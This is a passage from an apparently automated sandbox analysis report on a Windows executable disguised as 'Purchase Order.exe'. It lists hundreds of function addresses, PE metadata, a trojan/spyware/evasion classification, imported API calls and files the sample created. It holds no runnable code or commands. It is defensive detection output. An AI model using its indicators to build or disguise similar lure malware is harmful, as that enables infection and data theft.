Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAA0D0	4_2_39CAA0D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAA0E0	4_2_39CAA0E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CADCE0	4_2_39CADCE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CADCF0	4_2_39CADCF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA08F0	4_2_39CA08F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CABCF0	4_2_39CABCF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA22F1	4_2_39CA22F1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAEA8F	4_2_39CAEA8F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA0498	4_2_39CA0498
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA1E98	4_2_39CA1E98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CACA9F	4_2_39CACA9F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA1EA8	4_2_39CA1EA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAAAAF	4_2_39CAAAAF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAEAA0	4_2_39CAEAA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CACAB0	4_2_39CACAB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAD84F	4_2_39CAD84F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA0040	4_2_39CA0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA1A40	4_2_39CA1A40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAF840	4_2_39CAF840
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAB85F	4_2_39CAB85F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAF850	4_2_39CAF850
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAD860	4_2_39CAD860
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA3460	4_2_39CA3460
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA4A78	4_2_39CA4A78
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA6E72	4_2_39CA6E72
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA6E70	4_2_39CA6E70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAB870	4_2_39CAB870
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA4A74	4_2_39CA4A74
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA3008	4_2_39CA3008
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAC60F	4_2_39CAC60F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA6A18	4_2_39CA6A18
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA461C	4_2_39CA461C
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAE610	4_2_39CAE610
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA4620	4_2_39CA4620
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CAC620	4_2_39CAC620
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39CA6030	4_2_39CA6030
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D156B8	4_2_39D156B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D15D58	4_2_39D15D58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D104D0	4_2_39D104D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17ED0	4_2_39D17ED0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D4D0	4_2_39D1D4D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13FD7	4_2_39D13FD7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D116D8	4_2_39D116D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A9D8	4_2_39D1A9D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D166DA	4_2_39D166DA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10DDF	4_2_39D10DDF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D191DF	4_2_39D191DF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1C1C0	4_2_39D1C1C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D104C0	4_2_39D104C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17EC0	4_2_39D17EC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D136C8	4_2_39D136C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1ECC8	4_2_39D1ECC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D116C8	4_2_39D116C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A9C8	4_2_39D1A9C8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1E7F1	4_2_39D1E7F1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10DF0	4_2_39D10DF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D191F0	4_2_39D191F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D179F9	4_2_39D179F9
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11FF8	4_2_39D11FF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1BCF8	4_2_39D1BCF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D148FC	4_2_39D148FC
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A4FF	4_2_39D1A4FF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D4E0	4_2_39D1D4E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11FE7	4_2_39D11FE7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13FE8	4_2_39D13FE8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D166E8	4_2_39D166E8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1BCEC	4_2_39D1BCEC
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1F190	4_2_39D1F190
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D14D98	4_2_39D14D98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18398	4_2_39D18398
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D998	4_2_39D1D998
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D16B9F	4_2_39D16B9F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D12D9E	4_2_39D12D9E
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11280	4_2_39D11280
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D19B80	4_2_39D19B80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D12480	4_2_39D12480
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1F180	4_2_39D1F180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1C686	4_2_39D1C686
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18389	4_2_39D18389
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D12488	4_2_39D12488
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1C688	4_2_39D1C688
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D14D88	4_2_39D14D88
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1AE8F	4_2_39D1AE8F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1C1B1	4_2_39D1C1B1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D16BB0	4_2_39D16BB0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1ECB7	4_2_39D1ECB7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D196B8	4_2_39D196B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D136B8	4_2_39D136B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1AEA0	4_2_39D1AEA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D156A7	4_2_39D156A7
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D12DA8	4_2_39D12DA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D9A8	4_2_39D1D9A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D196AC	4_2_39D196AC
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18851	4_2_39D18851
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1CB50	4_2_39D1CB50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10950	4_2_39D10950
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13B58	4_2_39D13B58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1F658	4_2_39D1F658
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11B58	4_2_39D11B58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1B358	4_2_39D1B358
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1DE5F	4_2_39D1DE5F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10040	4_2_39D10040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17540	4_2_39D17540
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1CB40	4_2_39D1CB40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1F647	4_2_39D1F647
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A048	4_2_39D1A048
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13B48	4_2_39D13B48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D15D48	4_2_39D15D48
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11271	4_2_39D11271
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1DE70	4_2_39D1DE70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D14478	4_2_39D14478
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17078	4_2_39D17078
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10960	4_2_39D10960
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18860	4_2_39D18860
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D14469	4_2_39D14469
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D11B68	4_2_39D11B68
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1B368	4_2_39D1B368
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17068	4_2_39D17068
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D19B6F	4_2_39D19B6F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D10011	4_2_39D10011
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1FB11	4_2_39D1FB11
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A510	4_2_39D1A510
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D16210	4_2_39D16210
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18D17	4_2_39D18D17
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D15219	4_2_39D15219
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D12918	4_2_39D12918
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D018	4_2_39D1D018
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1E800	4_2_39D1E800
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D15D05	4_2_39D15D05
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1D007	4_2_39D1D007
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D14908	4_2_39D14908
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17A08	4_2_39D17A08
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1290E	4_2_39D1290E
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1B830	4_2_39D1B830
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D17530	4_2_39D17530
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13238	4_2_39D13238
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1E338	4_2_39D1E338
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1A038	4_2_39D1A038
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D16220	4_2_39D16220
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1FB20	4_2_39D1FB20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1B822	4_2_39D1B822
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D13229	4_2_39D13229
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D1E329	4_2_39D1E329
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D15228	4_2_39D15228
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D18D28	4_2_39D18D28
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D3D0D0	4_2_39D3D0D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D36A80	4_2_39D36A80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D3E060	4_2_39D3E060
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D357C0	4_2_39D357C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D325C0	4_2_39D325C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D341E0	4_2_39D341E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D30FE0	4_2_39D30FE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33B90	4_2_39D33B90
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D35180	4_2_39D35180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D31F80	4_2_39D31F80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33BA0	4_2_39D33BA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D309A0	4_2_39D309A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D34B40	4_2_39D34B40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D31940	4_2_39D31940
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D36760	4_2_39D36760
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33560	4_2_39D33560
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D30360	4_2_39D30360
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D36110	4_2_39D36110
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D34500	4_2_39D34500
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D31300	4_2_39D31300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D36120	4_2_39D36120
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D32F20	4_2_39D32F20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33EC0	4_2_39D33EC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D30CC0	4_2_39D30CC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D3F2C0	4_2_39D3F2C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D344F1	4_2_39D344F1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D35AE0	4_2_39D35AE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D328E0	4_2_39D328E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33880	4_2_39D33880
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D30680	4_2_39D30680
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D3F2B0	4_2_39D3F2B0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D354A0	4_2_39D354A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D322A0	4_2_39D322A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D33240	4_2_39D33240
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D30040	4_2_39D30040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D36440	4_2_39D36440
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D34E60	4_2_39D34E60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D31C60	4_2_39D31C60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D39611	4_2_39D39611
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D35E00	4_2_39D35E00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D32C00	4_2_39D32C00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D34820	4_2_39D34820
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D31620	4_2_39D31620
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4F1A0	4_2_39D4F1A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D41360	4_2_39D41360
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4F4C0	4_2_39D4F4C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D47AE0	4_2_39D47AE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D409D0	4_2_39D409D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D429D0	4_2_39D429D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4DBC0	4_2_39D4DBC0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4A9C0	4_2_39D4A9C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D409C1	4_2_39D409C1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4F7CF	4_2_39D4F7CF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4F7E0	4_2_39D4F7E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4C5E0	4_2_39D4C5E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D493E0	4_2_39D493E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4A380	4_2_39D4A380
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4D580	4_2_39D4D580
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4BFA0	4_2_39D4BFA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D48DA0	4_2_39D48DA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D41350	4_2_39D41350
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4CF40	4_2_39D4CF40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D49D40	4_2_39D49D40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4EB60	4_2_39D4EB60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D48760	4_2_39D48760
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4B960	4_2_39D4B960
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4FB00	4_2_39D4FB00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D49700	4_2_39D49700
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4C900	4_2_39D4C900
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D40508	4_2_39D40508
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4B320	4_2_39D4B320
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D48120	4_2_39D48120
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4E520	4_2_39D4E520
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4C2C0	4_2_39D4C2C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D490C0	4_2_39D490C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D404F9	4_2_39D404F9
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4DEE0	4_2_39D4DEE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4ACE0	4_2_39D4ACE0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D40E98	4_2_39D40E98
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D40E87	4_2_39D40E87
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4BC80	4_2_39D4BC80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D48A80	4_2_39D48A80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4EE80	4_2_39D4EE80
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4C2B1	4_2_39D4C2B1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4A6A0	4_2_39D4A6A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4D8A0	4_2_39D4D8A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4E840	4_2_39D4E840
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D40040	4_2_39D40040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D48440	4_2_39D48440
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4B640	4_2_39D4B640
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4D260	4_2_39D4D260
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4A060	4_2_39D4A060
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D40011	4_2_39D40011
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4E200	4_2_39D4E200
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D47E00	4_2_39D47E00
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4B000	4_2_39D4B000
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D4CC20	4_2_39D4CC20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39D49A20	4_2_39D49A20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1868	4_2_39EA1868
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1F50	4_2_39EA1F50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1180	4_2_39EA1180
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA0AA0	4_2_39EA0AA0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA2D20	4_2_39EA2D20
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA03B8	4_2_39EA03B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA2638	4_2_39EA2638
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1859	4_2_39EA1859
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1F41	4_2_39EA1F41
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA1170	4_2_39EA1170
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA0A91	4_2_39EA0A91
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA2D10	4_2_39EA2D10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA0040	4_2_39EA0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA0027	4_2_39EA0027
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA03A8	4_2_39EA03A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39EA2628	4_2_39EA2628
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39F81240	4_2_39F81240
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39F88D58	4_2_39F88D58
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_39F81E58	4_2_39F81E58

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: String function: 00402ACE appears 52 times

Source: Purchase Order.exe

Static PE information: invalid certificate

Source: Purchase Order.exe, 00000004.00000002.3383976496.0000000036697000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Purchase Order.exe

Source: Purchase Order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/18@3/4

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032BF
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032BF

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_0040451A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040451A

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,

0_2_004020CD

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\Temp\nsq3120.tmp

Jump to behavior

Source: Purchase Order.exe

